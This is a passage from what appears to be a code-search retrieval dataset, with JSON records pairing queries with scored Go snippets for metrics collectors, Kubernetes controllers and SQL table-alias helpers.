happens\n\t\t// at beginning of a minute, it might read the data collected at end of last minute. To avoid this,\n\t\t// we want to wait until at least two cadvisor collection intervals happens before collecting the metrics\n\t\tsecondsInMin := time.Now().Second()\n\t\tif secondsInMin < 30 {\n\t\t\ttime.Sleep(time.Duration(30-secondsInMin) * time.Second)\n\t\t}\n\t\tticker := time.NewTicker(acir.config.CollectionInterval)\n\t\tdefer ticker.Stop()\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ticker.C:\n\t\t\t\t_ = acir.collectData(ctx)\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn nil\n}", "title": "" }, { "docid": "4d6a9cb297284c3d4ddaafa7b7ea2049", "score": "0.46240517", "text": "func (p *Plugin) CollectMetrics(metrics []plugin.Metric) ([]plugin.Metric, error) {\n\tvar mtxMetrics sync.Mutex\n\tvar wgCollectedMetrics sync.WaitGroup\n\n\t//initialization of plugin structure (only once)\n\tif !p.initialized {\n\t\tconfigs, err := getMetricsConfig(metrics[0].Config)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, cfg := range configs {\n\t\t\tnamespace := core.NewNamespace(Vendor, PluginName)\n\t\t\tfor _, ns := range cfg.Namespace {\n\t\t\t\tif ns.Source == configReader.NsSourceString {\n\t\t\t\t\tnamespace = namespace.AddStaticElement(ns.String)\n\t\t\t\t} else {\n\t\t\t\t\tnamespace = namespace.AddDynamicElement(ns.Name, ns.Description)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif _, metricExist := p.metricsConfigs[namespace.String()]; metricExist {\n\t\t\t\tlogFields := map[string]interface{}{\n\t\t\t\t\t\"namespace\": namespace.String(),\n\t\t\t\t\t\"previous_metric_configuration\": p.metricsConfigs[namespace.String()],\n\t\t\t\t\t\"current_metric_configuration\": cfg,\n\t\t\t\t}\n\t\t\t\tlog.WithFields(logFields).Warn(fmt.Errorf(\"Plugin configuration file (`setfile`) contains metrics definitions which expose the same namespace, only one of them is in use. Correction of plugin configuration file (`setfile`) is recommended.\"))\n\t\t\t} else {\n\t\t\t\t//add metric configuration to plugin metric map\n\t\t\t\tp.metricsConfigs[namespace.String()] = cfg\n\t\t\t}\n\t\t}\n\t\tp.initialized = true\n\t}\n\n\tagentConfig, err := configReader.GetSnmpAgentConfig(metrics[0].Config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//lock using of connections in watchConnections\n\tmtxSnmpConnections.Lock()\n\tdefer mtxSnmpConnections.Unlock()\n\n\tconn, err := getConnection(agentConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmts := []plugin.Metric{}\n\n\tfor _, metric := range metrics {\n\n\t\t//get metrics to collect\n\t\tmetricsConfigs, err := getMetricsToCollect(metric.Namespace.String(), p.metricsConfigs)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\twgCollectedMetrics.Add(len(metricsConfigs))\n\n\t\tfor _, cfg := range metricsConfigs {\n\n\t\t\tgo func(cfg configReader.Metric) {\n\n\t\t\t\tdefer wgCollectedMetrics.Done()\n\n\t\t\t\tconn.mtx.Lock()\n\n\t\t\t\t//get value of metric/metrics\n\t\t\t\tresults, err := snmp_.readElements(conn.handler, cfg.Oid, cfg.Mode)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Warn(err)\n\t\t\t\t\tconn.mtx.Unlock()\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t//get dynamic elements of namespace parts\n\t\t\t\terr = getDynamicNamespaceElements(conn.handler, results, &cfg)\n\t\t\t\tif err != nil {\n\t\t\t\t\tconn.mtx.Unlock()\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tconn.lastUsed = time.Now()\n\t\t\t\tconn.mtx.Unlock()\n\n\t\t\t\tfor i, result := range results {\n\n\t\t\t\t\t//build namespace for metric\n\t\t\t\t\tnamespace := plugin.NewNamespace(Vendor, PluginName)\n\t\t\t\t\toffset := len(namespace)\n\t\t\t\t\tfor j, ns := range cfg.Namespace {\n\t\t\t\t\t\tif ns.Source == configReader.NsSourceString {\n\t\t\t\t\t\t\tnamespace = namespace.AddStaticElements(ns.String)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tnamespace = namespace.AddDynamicElement(ns.Name, ns.Description)\n\t\t\t\t\t\t\tnamespace[j+offset].Value = ns.Values[i]\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//convert metric types\n\t\t\t\t\tval, err := convertSnmpDataToMetric(result.Variable.String(), result.Variable.Type())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\t//modify numeric metric - use scale and shift parameters\n\t\t\t\t\tdata := modifyNumericMetric(val, cfg.Scale, cfg.Shift)\n\n\t\t\t\t\t//creating metric\n\t\t\t\t\tmt := plugin.Metric{\n\t\t\t\t\t\tNamespace: namespace,\n\t\t\t\t\t\tData: data,\n\t\t\t\t\t\tTimestamp: time.Now(),\n\t\t\t\t\t\tTags: map[string]string{\n\t\t\t\t\t\t\ttagSnmpAgentName: agentConfig.Name,\n\t\t\t\t\t\t\ttagSnmpAgentAddress: agentConfig.Address,\n\t\t\t\t\t\t\ttagOid: result.Oid.String()},\n\t\t\t\t\t\tUnit: metric.Unit,\n\t\t\t\t\t\tDescription: metric.Description,\n\t\t\t\t\t}\n\n\t\t\t\t\t//adding metric to list of metrics\n\t\t\t\t\tmtxMetrics.Lock()\n\n\t\t\t\t\t//filter specific instance\n\t\t\t\t\tnsPattern := strings.Replace(metric.Namespace.String(), \"*\", \".*\", -1)\n\t\t\t\t\tmatched, err := regexp.MatchString(nsPattern, mt.Namespace.String())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlogFields := map[string]interface{}{\"namespace\": mt.Namespace.String(), \"pattern\": nsPattern, \"match_error\": err}\n\t\t\t\t\t\terr := fmt.Errorf(\"Cannot parse namespace element for matching\")\n\t\t\t\t\t\tlog.WithFields(logFields).Warn(err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tif matched {\n\t\t\t\t\t\tmts = append(mts, mt)\n\t\t\t\t\t}\n\n\t\t\t\t\tmtxMetrics.Unlock()\n\t\t\t\t}\n\t\t\t}(cfg)\n\t\t}\n\t\twgCollectedMetrics.Wait()\n\t}\n\treturn mts, nil\n}", "title": "" }, { "docid": "3c738f8a3b492d47814e851f49ddfa74", "score": "0.46217087", "text": "func Run(config *config.Config) { //nolint:funlen\n\tcontrollerruntime.SetLogger(config.Logger)\n\tlog := controllerruntime.Log.WithName(\"manager\")\n\n\tmgr, err := controllerruntime.NewManager(\n\t\tcontrollerruntime.GetConfigOrDie(),\n\t\tcontrollerruntime.Options{\n\t\t\tLeaderElection: config.EnableLeaderElection,\n\t\t\tLeaderElectionID: leaderElectionID,\n\t\t},\n\t)\n\tif err != nil {\n\t\tlog.Error(err, \"failed to create manager\")\n\t\tos.Exit(1)\n\t}\n\n\t// Setup Cloner controller\n\tlog.Info(\"setting up Cloner controller\")\n\n\tctrller, err := controller.New(\"cloner\", mgr,\n\t\tcontroller.Options{\n\t\t\tReconciler: &clonercontroller.ClonerReconciler{\n\t\t\t\tClient: mgr.GetClient(),\n\t\t\t},\n\t\t\tLog: log,\n\t\t})\n\tif err != nil {\n\t\tlog.Error(err, \"failed to create controller\")\n\t}\n\n\tif err := ctrller.Watch(\n\t\t&source.Kind{Type: &appsv1.Deployment{}},\n\t\t&handler.EnqueueRequestForObject{},\n\t\tpredicate.NewPredicateFuncs(func(obj client.Object) bool {\n\t\t\tdeployment := obj.(*appsv1.Deployment)\n\t\t\tfor _, namespace := range config.IgnoreNamespaces {\n\t\t\t\tif namespace == deployment.Namespace {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn true\n\t\t}),\n\t); err != nil {\n\t\tlog.Error(err, \"failed to watch Deployment\")\n\t}\n\n\tif err := ctrller.Watch(\n\t\t&source.Kind{Type: &appsv1.DaemonSet{}},\n\t\t&handler.EnqueueRequestForObject{},\n\t\tpredicate.NewPredicateFuncs(func(obj client.Object) bool {\n\t\t\tdaemonset := obj.(*appsv1.DaemonSet)\n\t\t\tfor _, namespace := range config.IgnoreNamespaces {\n\t\t\t\tif namespace == daemonset.Namespace {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn true\n\t\t}),\n\t); err != nil {\n\t\tlog.Error(err, \"failed to watch DaemonSet\")\n\t}\n\n\t// Starting the controller manager\n\tlog.Info(\"starting the controller manager\")\n\n\tif err := mgr.Start(signals.SetupSignalHandler()); err != nil {\n\t\tlog.Error(err, \"failed to start controller manager\")\n\t\tos.Exit(1)\n\t}\n}", "title": "" }, { "docid": "0dbc064d8de2015a955d87989c81a51b", "score": "0.46193448", "text": "func (m *Manager) Run(ctx context.Context) error {\n\t// start log broadcaster\n\t_ = utils.Pool.Submit(func() { m.logBroadcaster.run(ctx) })\n\n\t// initWorkloadStatus container\n\tif err := m.initWorkloadStatus(ctx); err != nil {\n\t\treturn err\n\t}\n\n\t// start status watcher\n\t_ = utils.Pool.Submit(func() { m.monitor(ctx) })\n\n\t// start health check\n\t_ = utils.Pool.Submit(func() { m.healthCheck(ctx) })\n\n\t// wait for signal\n\t<-ctx.Done()\n\tlog.WithFunc(\"Run\").Info(ctx, \"exiting\")\n\treturn nil\n}", "title": "" }, { "docid": "adcb56ddd04543b021a98e6fb12daaf0", "score": "0.46146017", "text": "func (m *monitor) Start() error {\n\tlog.Info(\"sensor: starting monitors...\")\n\n\t// if err := m.peMon.Start(); err != nil {\n\t// \treturn err\n\t// }\n\n\tif err := m.fanMon.Start(); err != nil {\n\t\tlog.\n\t\t\tWithError(err).\n\t\t\tError(\"sensor: composite monitor - FAN failed to start running\")\n\t\treturn err\n\t}\n\n\tif err := m.ptMon.Start(); err != nil {\n\t\tlog.\n\t\t\tWithError(err).\n\t\t\tError(\"sensor: composite monitor - PTAN failed to start running\")\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ed361ccf3db0eca56d6c01a5d203a034", "score": "0.46126947", "text": "func (s *Systemctl) Start(acc telegraf.Accumulator) error {\n\t// lock the function\n\ts.mux.Lock()\n\t// release the lock at the end of the function\n\tdefer s.mux.Unlock()\n\t// check that the sampler has been initiatised\n\tif s.Sampler == nil {\n\t\treturn errors.New(\"Systemctl.Sampler has not been set\")\n\t}\n\t// check the sampler is not already running\n\tif s.running {\n\t\treturn nil\n\t}\n\n\tSetLogLevel(s.LogLevel)\n\tlog.WithFields(log.Fields{\n\t\t\"InputPlugin\": \"systemctl\",\n\t}).Debug(\"Starting\")\n\n\t// check the sample has not already initalised the aggregators\n\tif s.Aggregators == nil {\n\t\t// create an aggregator for each service defined within the configuration\n\t\tserviceCount := len(s.Services)\n\t\ts.Aggregators = make([]StateAggregator, serviceCount)\n\t\tfor i, service := range s.Services {\n\t\t\ts.Aggregators[i] = StateAggregator{\n\t\t\t\tResourceName: service,\n\t\t\t\tAggState: make(map[string]uint64),\n\t\t\t\tCurrentState: \"unknown\",\n\t\t\t\tCurrentStateDuration: 0,\n\t\t\t\tStateCollector: Collector{\n\t\t\t\t\tSampleRate: s.SampleRate,\n\t\t\t\t\tDone: make(chan bool),\n\t\t\t\t\tCollect: make(chan bool),\n\t\t\t\t\tSampleResults: make(chan []Sample),\n\t\t\t\t},\n\t\t\t}\n\t\t\t// start collecting samples for each aggregator in a separate go routine\n\t\t\t// providing the service name and the sampler used to collect data\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"InputPlugin\": \"systemctl\",\n\t\t\t\t\"ResourceName\": service,\n\t\t\t}).Debug(\"Starting CollectSamples\")\n\t\t\tgo s.Aggregators[i].StateCollector.CollectSamples(service, s.Sampler)\n\t\t}\n\t}\n\n\t// set the state that the input plugin has started\n\ts.running = true\n\n\tlog.WithFields(log.Fields{\n\t\t\"InputPlugin\": \"systemctl\",\n\t}).Debug(\"Started\")\n\n\treturn nil\n}", "title": "" }, { "docid": "bd6cd9dc95b95c4ca15c9c97820cec52", "score": "0.46114916", "text": "func (c *Collector) RunPoller() {\n\tfor {\n\t\tc.pollMesosAgent()\n\t\tfor _, m := range c.metricsMessages() {\n\t\t\tc.log.Debugf(\"Sending container metrics to metric chan:\\n%+v\", m)\n\t\t\tc.metricsChan <- m\n\t\t}\n\t\ttime.Sleep(c.PollPeriod)\n\t}\n}", "title": "" }, { "docid": "0dbf38eb90dfc9831fb1da93b41048da", "score": "0.46076772", "text": "func (m *StreamMonitor) monitor() {\n\n\tlogging.Debugf(\"StreamMonitor::Monitor(): start\")\n\n\tticker := time.NewTicker(MONITOR_INTERVAL)\n\tdefer ticker.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase <-m.killch:\n\t\t\treturn\n\t\tcase <-ticker.C:\n\t\t\tm.repair()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8da8d353f5fd86dde9fa6482b8fcc860", "score": "0.46076128", "text": "func (c *MonitorController) Run(threadiness int, stopCh chan struct{}) {\n\tdefer runtime.HandleCrash()\n\n\t// Let the workers stop when we are done\n\tdefer c.queue.ShutDown()\n\tlog.Info(\"Starting Ingress Monitor controller\")\n\n\tgo c.informer.Run(stopCh)\n\n\t// Wait for all involved caches to be synced, before processing items from the queue is started\n\tif !cache.WaitForCacheSync(stopCh, c.informer.HasSynced) {\n\t\truntime.HandleError(fmt.Errorf(\"Timed out waiting for caches to sync\"))\n\t\treturn\n\t}\n\n\tfor i := 0; i < threadiness; i++ {\n\t\tgo wait.Until(c.runWorker, time.Second, stopCh)\n\t}\n\n\t<-stopCh\n\tlog.Info(\"Stopping Ingress Monitor controller\")\n}", "title": "" }, { "docid": "6441273e031b451b05af71e9bca87e39", "score": "0.46043968", "text": "func (p *PrometheusRulesController) Start(ctx context.Context) {\n\tconfigCh, cancel := p.configurator.ConfigChanged()\n\tdefer cancel()\n\n\tp.checkAlertsDisabled(ctx)\n\tfor {\n\t\tselect {\n\t\tcase <-configCh:\n\t\t\tp.checkAlertsDisabled(ctx)\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" } ]
06bdff229e9a28b232e7026737464662
As is like calling "F() AS alias"
[ { "docid": "d248cb2c363a13a7b8caff3533993b03", "score": "0.6591695", "text": "func (f *F) As(alias string) *F {\n\tf.alias = alias\n\treturn f\n}", "title": "" } ]
[ { "docid": "6d08404d5aaeb398937d08e20ee237c6", "score": "0.7066858", "text": "func (f FunctionElem) As(alias string) Columnar {\n\tf.alias = alias\n\treturn f\n}", "title": "" }, { "docid": "920799a8c239b0006d127dd723c8d1cd", "score": "0.57233334", "text": "func (f FunctionElem) Alias() string {\n\treturn f.alias\n}", "title": "" }, { "docid": "cb9a595bf12ad9aaa79df9810185938e", "score": "0.5672853", "text": "func (tbl TABLE_FORMS) As(alias string) TABLE_FORMS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "cb9a595bf12ad9aaa79df9810185938e", "score": "0.5672853", "text": "func (tbl TABLE_FORMS) As(alias string) TABLE_FORMS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "715dd7e80e297246fd4b121a46a89d93", "score": "0.5539621", "text": "func (b *castImpl) AS(castType string) Expression {\n\treturn b.Cast.AS(castType)\n}", "title": "" }, { "docid": "fd186a4154d6a8473e98930ac6b1bd9b", "score": "0.55053055", "text": "func (tbl TABLE_USER_EVALUATIONS) As(alias string) TABLE_USER_EVALUATIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "fd186a4154d6a8473e98930ac6b1bd9b", "score": "0.55053055", "text": "func (tbl TABLE_USER_EVALUATIONS) As(alias string) TABLE_USER_EVALUATIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "f4ebe9f41ffcd79e9a4d5b87ff39c8d3", "score": "0.54530066", "text": "func (tbl TABLE_TEAM_EVALUATIONS) As(alias string) TABLE_TEAM_EVALUATIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "f4ebe9f41ffcd79e9a4d5b87ff39c8d3", "score": "0.54530066", "text": "func (tbl TABLE_TEAM_EVALUATIONS) As(alias string) TABLE_TEAM_EVALUATIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "001f68320dfa8ee5cbc3fa38d90cf278", "score": "0.54464144", "text": "func (tbl VIEW_V_USER_EVALUATIONS) As(alias string) VIEW_V_USER_EVALUATIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "5989d3ef9d41170ca972f12c6a6b0117", "score": "0.54362726", "text": "func Alias(expr Sqlizer, alias string) aliasExpr {\n\treturn aliasExpr{expr, alias}\n}", "title": "" }, { "docid": "5bb61707aa66b96c5bc989ec7c84879f", "score": "0.53995496", "text": "func (tbl TABLE_FEEDBACK_ON_USERS) As(alias string) TABLE_FEEDBACK_ON_USERS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "5bb61707aa66b96c5bc989ec7c84879f", "score": "0.53995496", "text": "func (tbl TABLE_FEEDBACK_ON_USERS) As(alias string) TABLE_FEEDBACK_ON_USERS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "30621bd3b6a34b22dd1efe92b1610d6b", "score": "0.5349065", "text": "func (a *LanguageTable) AS(alias string) *LanguageTable {\n\taliasTable := newLanguageTable()\n\taliasTable.Table.AS(alias)\n\treturn aliasTable\n}", "title": "" }, { "docid": "f0df8e3e23ebdcb2808c1ce20969b51b", "score": "0.5347075", "text": "func (Aggregate) As(alias string) Aggregate {\n\tpanic(\"implement me\")\n}", "title": "" }, { "docid": "0243b585dd9f6e37e827b80d70d62539", "score": "0.5346608", "text": "func (tbl TABLE_FEEDBACK_ON_TEAMS) As(alias string) TABLE_FEEDBACK_ON_TEAMS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "0243b585dd9f6e37e827b80d70d62539", "score": "0.5346608", "text": "func (tbl TABLE_FEEDBACK_ON_TEAMS) As(alias string) TABLE_FEEDBACK_ON_TEAMS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "1a8ade0712387cee6f805d291c337287", "score": "0.53446794", "text": "func (tbl VIEW_V_TEAM_EVALUATIONS) As(alias string) VIEW_V_TEAM_EVALUATIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "90f588d606924c44cad09a44668b2c9e", "score": "0.53206766", "text": "func (a *NodeTable) AS(alias string) NodeTable {\n\taliasTable := newNodeTable()\n\taliasTable.Table.AS(alias)\n\treturn aliasTable\n}", "title": "" }, { "docid": "bbacf50425cb18bc53408310b061b6bf", "score": "0.530934", "text": "func (q *Query) As(alias string) *Query {\n\tq.alias = alias\n\treturn q\n}", "title": "" }, { "docid": "58f6adf511d8dad4298dfe5e22242919", "score": "0.52999926", "text": "func (a *ActorInfoTable) AS(alias string) *ActorInfoTable {\n\taliasTable := newActorInfoTable()\n\n\taliasTable.Table.AS(alias)\n\n\treturn aliasTable\n}", "title": "" }, { "docid": "6b70b923fc5c70fac674c37459faf2ff", "score": "0.5273438", "text": "func (f Field) Field() Field { return f }", "title": "" }, { "docid": "3fb109d8fb1c1abc5049a36b9e75e665", "score": "0.52594995", "text": "func (tbl TABLE_PERIODS) As(alias string) TABLE_PERIODS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "3fb109d8fb1c1abc5049a36b9e75e665", "score": "0.52594995", "text": "func (tbl TABLE_PERIODS) As(alias string) TABLE_PERIODS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "8723eee1a5f262c34396ab7b662ddec7", "score": "0.5211208", "text": "func (tbl TABLE_USERS) As(alias string) TABLE_USERS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "8723eee1a5f262c34396ab7b662ddec7", "score": "0.5211208", "text": "func (tbl TABLE_USERS) As(alias string) TABLE_USERS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "d2c6034ddcc614ffe491ae1b1019a81c", "score": "0.5197884", "text": "func (tbl TABLE_STAGE_ENUM) As(alias string) TABLE_STAGE_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "d2c6034ddcc614ffe491ae1b1019a81c", "score": "0.5197884", "text": "func (tbl TABLE_STAGE_ENUM) As(alias string) TABLE_STAGE_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "0e9c1736a21a9414dcb4b7303a22006b", "score": "0.51913625", "text": "func (tbl VIEW_V_TEAMS_AND_STUDENTS) As(alias string) VIEW_V_TEAMS_AND_STUDENTS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "b7a5e13f3053323bf4983ed10b8675c4", "score": "0.51880205", "text": "func (c *CommonTableExpression) AS(statement SerializerStatement) CommonTableExpressionDefinition {\n\tc.selectStmt = statement\n\treturn CommonTableExpressionDefinition{cte: c}\n}", "title": "" }, { "docid": "b9603aaa17ae707b9fb244f948b20945", "score": "0.5163659", "text": "func (tmp *Fq2) Cast(v *Fq) Field {\n\ttmp.C[0] = *v\n\ttmp.C[1] = Zero\n\treturn tmp\n}", "title": "" }, { "docid": "035afc9093a3545126d4b9a925d546fa", "score": "0.5154586", "text": "func (e *FieldExpr) expr() {}", "title": "" }, { "docid": "108c15a9e175a325cba9c7f0dd277d96", "score": "0.514285", "text": "func (tbl TABLE_TEAMS) As(alias string) TABLE_TEAMS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "108c15a9e175a325cba9c7f0dd277d96", "score": "0.514285", "text": "func (tbl TABLE_TEAMS) As(alias string) TABLE_TEAMS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "3f9db6bb2ce3be8675636c653bf4ed03", "score": "0.5117062", "text": "func (a *ProverbsTable) AS(alias string) ProverbsTable {\n\taliasTable := newProverbsTable()\n\taliasTable.Table.AS(alias)\n\treturn aliasTable\n}", "title": "" }, { "docid": "df77a51a34cfd037be3fdd4c5c49eeea", "score": "0.51101416", "text": "func (this *ExpressionTerm) Alias() string {\n\tif this.isKeyspace {\n\t\treturn this.keyspaceTerm.Alias()\n\t} else if this.as != \"\" {\n\t\treturn this.as\n\t} else {\n\t\treturn this.fromExpr.Alias()\n\t}\n}", "title": "" }, { "docid": "8c9bb11a66bada89ce749939b5f3d6c0", "score": "0.51073056", "text": "func (b *castImpl) AS_REAL() FloatExpression {\n\treturn FloatExp(b.AS(\"real\"))\n}", "title": "" }, { "docid": "be8c5a109bb79526160d7ee9c1f47edc", "score": "0.5095956", "text": "func (fl *FunctionLiteral) expression() {}", "title": "" }, { "docid": "42116dc5eb1d971d9ac06da40ae58393", "score": "0.50954103", "text": "func (tbl CustomTable) As(alias string) CustomTable {\n\ttbl.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "36be79cac80832f22b29468ae008217e", "score": "0.50933677", "text": "func (tbl TABLE_TEAM_EVALUATION_PAIRS) As(alias string) TABLE_TEAM_EVALUATION_PAIRS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "36be79cac80832f22b29468ae008217e", "score": "0.50933677", "text": "func (tbl TABLE_TEAM_EVALUATION_PAIRS) As(alias string) TABLE_TEAM_EVALUATION_PAIRS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "f532ebebfb1cd9c63b1f187f27e28b56", "score": "0.5080947", "text": "func (tbl TABLE_MIME_TYPE_ENUM) As(alias string) TABLE_MIME_TYPE_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "f532ebebfb1cd9c63b1f187f27e28b56", "score": "0.5080947", "text": "func (tbl TABLE_MIME_TYPE_ENUM) As(alias string) TABLE_MIME_TYPE_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "4deeec1bc0ccdca4121c92b0f58684ff", "score": "0.5074319", "text": "func (o SoftwareUpdateConfigurationTargetNonAzureQueryOutput) FunctionAlias() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v SoftwareUpdateConfigurationTargetNonAzureQuery) *string { return v.FunctionAlias }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "be4620a5196922ae0d3dc01cf775c82f", "score": "0.5071229", "text": "func (flagSet FlagSetWithAliases) AliasedFloat64Var(p *float64, items []string, def float64, description string) {\n\tflagSet.RecordAliases(items, \"float64\")\n\tfor _, item := range items {\n\t\tflagSet.Float64Var(p, item, def, description)\n\t}\n}", "title": "" }, { "docid": "75a143d8710a8dce0d3956b5b15ebfa3", "score": "0.5068555", "text": "func (tbl TABLE_MEDIA) As(alias string) TABLE_MEDIA {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "75a143d8710a8dce0d3956b5b15ebfa3", "score": "0.5068555", "text": "func (tbl TABLE_MEDIA) As(alias string) TABLE_MEDIA {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "5e41030a56ed77d2430c1ca337fc9698", "score": "0.50659907", "text": "func (t *TWrapper) Asf(format string, args ...interface{}) *TWrapper {\n\tt.Helper()\n\tt2 := t.dup(func(failFmt string, failArgs ...interface{}) {\n\t\tt.Helper()\n\t\tt.onFail(fmt.Sprintf(\"Failure for '%s': %s\",\n\t\t\tfmt.Sprintf(format, args...), failFmt), failArgs...)\n\t})\n\treturn t2\n}", "title": "" }, { "docid": "55f3971409330ae851111de23f00ab1d", "score": "0.5052851", "text": "func (tbl VIEW_V_TEAMS) As(alias string) VIEW_V_TEAMS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "278d2c694d1b2737aec3e1e681ec0dfb", "score": "0.50320077", "text": "func (tbl TABLE_MILESTONE_ENUM) As(alias string) TABLE_MILESTONE_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "278d2c694d1b2737aec3e1e681ec0dfb", "score": "0.50320077", "text": "func (tbl TABLE_MILESTONE_ENUM) As(alias string) TABLE_MILESTONE_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "e50f2f2fe777eca15952f30ebfeb3367", "score": "0.5010547", "text": "func (t TableConfig) As(ident Name) TableAlias {\n\treturn TableAlias{t.Self, ident}\n}", "title": "" }, { "docid": "312e36014515f9478be5b7fedb657222", "score": "0.5010177", "text": "func (pl ProjectionList) As(tableAlias string) ProjectionList {\n\ttableAlias = strings.TrimRight(tableAlias, \".*\")\n\n\tnewProjectionList := ProjectionList{}\n\n\tfor _, projection := range pl {\n\t\tswitch p := projection.(type) {\n\t\tcase ProjectionList:\n\t\t\tnewProjectionList = append(newProjectionList, p.As(tableAlias))\n\t\tcase ColumnExpression:\n\t\t\tnewProjectionList = append(newProjectionList, newAlias(p, tableAlias+\".\"+p.Name()))\n\t\tcase *alias:\n\t\t\tnewAlias := *p\n\t\t\t_, columnName := extractTableAndColumnName(newAlias.alias)\n\t\t\tnewAlias.alias = tableAlias + \".\" + columnName\n\t\t\tnewProjectionList = append(newProjectionList, &newAlias)\n\t\t}\n\t}\n\n\treturn newProjectionList\n}", "title": "" }, { "docid": "559df53b4606346f7f82eecfe8df2381", "score": "0.5003343", "text": "func (tbl TABLE_FORMS_AUTHORIZED_ROLES) As(alias string) TABLE_FORMS_AUTHORIZED_ROLES {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "559df53b4606346f7f82eecfe8df2381", "score": "0.5003343", "text": "func (tbl TABLE_FORMS_AUTHORIZED_ROLES) As(alias string) TABLE_FORMS_AUTHORIZED_ROLES {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "4ad853d6ce0578390c1d96df7b015e53", "score": "0.500294", "text": "func (u Attribute) Alias() string {\n\tif u.selectAs != \"\" {\n\t\treturn u.selectAs\n\t}\n\n\tnameFields := strings.Split(u.name, \".\")\n\treturn nameFields[len(nameFields)-1]\n}", "title": "" }, { "docid": "1a265194193c81b92a79f9ed08727d7a", "score": "0.49811456", "text": "func f ( a int ) {\r\n\tvar f int \r\n\tf ( a)\r\n}", "title": "" }, { "docid": "7f265f5f6e3a61f949c08da2ecea30b3", "score": "0.4976365", "text": "func (q CustomQuery) As(alias string) CustomQuery {\n\tq.Alias = alias\n\treturn q\n}", "title": "" }, { "docid": "7f265f5f6e3a61f949c08da2ecea30b3", "score": "0.4976365", "text": "func (q CustomQuery) As(alias string) CustomQuery {\n\tq.Alias = alias\n\treturn q\n}", "title": "" }, { "docid": "efaeecb016021c110edac4ad3254252c", "score": "0.4959817", "text": "func (tbl TABLE_ROLE_ENUM) As(alias string) TABLE_ROLE_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "efaeecb016021c110edac4ad3254252c", "score": "0.4959817", "text": "func (tbl TABLE_ROLE_ENUM) As(alias string) TABLE_ROLE_ENUM 